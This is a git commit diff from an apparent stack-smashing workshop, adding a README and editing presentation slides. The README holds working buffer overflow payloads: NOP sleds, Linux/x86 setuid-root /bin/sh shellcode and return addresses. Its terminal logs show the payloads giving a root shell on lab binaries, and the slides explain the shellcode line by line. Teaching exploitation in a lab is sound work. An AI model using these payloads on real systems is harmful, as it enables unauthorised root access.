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Ward Wouts 2023-03-08 10:32:57 +01:00
parent cce16c40ff
commit 03cd6ada44
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42
README.md Normal file
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## Demo
Make sure to point at the shellcode in the commandline, NOT the copied shellcode as that gets mangled. Or pad the shellcode with 20 bytes at the end and make the starter NOP-sled shorter.
```
atl.HA95-mHA95:wwouts_smash:/smash $ id
uid=48350(atl.HA95) gid=9999(ATLAS) groups=9999(ATLAS)
atl.HA95-mHA95:wwouts_smash:/smash $ ./demo `perl -e 'print "\x90"x91 . "\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x2e\x58\x53\xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" ."XXXX". "\x30\xcb\xff\xff"'`
sh-4.4# id
uid=0(root) gid=0(root) groups=0(root),9999(ATLAS)
sh-4.4# exit
```
```
atl.HA95-mHA95:wwouts_smash:/smash $ ./demo `perl -e 'print "\x90"x75 . "\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x2e\x58\x53\xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" . "X"x20 . "\x30\xcb\xff\xff"'`
```
## DIY
```
export BLAA=`perl -e 'print "\x90"x213 . "\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x2e\x58\x53\xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80"'`
gdb ./diy
atl.HA95-mHA95:wwouts_smash:/smash $ perl -e 'print "X"x250 . "" . "XXXX" . "\x24\xdc\xff\xff" . "CCCCDDDDEEEE\n";' >foo.txt
atl.HA95-mHA95:wwouts_smash:/smash $ cat foo.txt |./diy
What's your name?
Hello, XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX$▒▒▒CCCCDDDDEEEE
atl.HA95-mHA95:wwouts_smash:/smash $ (cat foo.txt;cat) |./diy
What's your name?
Hello, XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX$▒▒▒CCCCDDDDEEEE
ls
demo diy foo.txt setup.sh shellcode.txt shellcode2.txt
id
uid=0(root) gid=0(root) groups=0(root),9999(ATLAS)
```
Test without the dodgy push EBX
atl.HA95-mHA95:wwouts_smash:/smash $ ./demo `perl -e 'print "\x90"x91 . "\x6a\x17\x58\x31\xdb\xcd\x80\x6a\x2e\x58\x90\xcd\x80\x31\xd2\x6a\x0b\x58\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80" ."XXXX". "\xdc\xcd\xff\xff" . "\xdc\xcd\xff\xff" . "\xdc\xcd\xff\xff" . "BBBBCCCC"'`

38
index.html
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@ -124,22 +124,30 @@ name: inverse
layout: true
class: center, middle, inverse
---
# Old skool stack smashing
# ♫ Stack smashing like it's 1999 ♫
Ward Wouts<br>
https://wizeazz.nl/smash/
---
# Agenda
1. Introduction
1. What is a stack?
1. How does this work?
1. Vulnerable fuctions
1. Now what can we do with this?
1. Shellcode?
1. Endianness?
1. Demo
1. DIY
1. Quick Radare2 reference
[//]: # (This is a markdown comment.)
[//]: # (A proper markdown comment needs the empty line above it.)
[//]: # (Two spaces at the end of a line are a linebreak in markdown.)
Introduction
What is a stack?
How does this work?
Vulnerable fuctions
Now what can we do with this?
Shellcode?
Endianness?
Exploitation workflow
Demo
Protections
DIY
Quick Radare2 reference
Quick GDB reference
Shellcode explained
---
# Introduction
---
@ -513,10 +521,8 @@ template: inverse
.right-column[
Shellcode from: http://shell-storm.org/shellcode/files/shellcode-251.html
```
/*
* (Linux/x86) setuid(0) + setgid(0) + execve("/bin/sh", ["/bin/sh", NULL])
* - 37 bytes - xgc@gotfault.net
*/
/* (Linux/x86) setuid(0) + setgid(0) + execve("/bin/sh", ["/bin/sh", NULL])
* - 37 bytes - xgc@gotfault.net */
"\x6a\x17" // push $0x17
"\x58" // pop %eax
@ -590,7 +596,7 @@ mov %esp, %ebx Point EBX at command string
push %edx Push NULL to stack (no more arguments)
push %ebx Push pointer to command str
mov %esp, %ecx Point ECX at arg list
int $0x80A Execute command in EAX
int $0x80 Execute command in EAX
```
Another `int 0x80` here for syscall 0xb = 11 = execve. 0x68732f2f in ASCII chars = `hs//`, but little endian, so read `//sh`. Same for 0x6e69622f, which gets `/bin`. Together this makes for `/bin//sh`. That double `/` is here to fill that 32-bit word. The EDX that is set to 0 and pushed makes up for the null string terminator.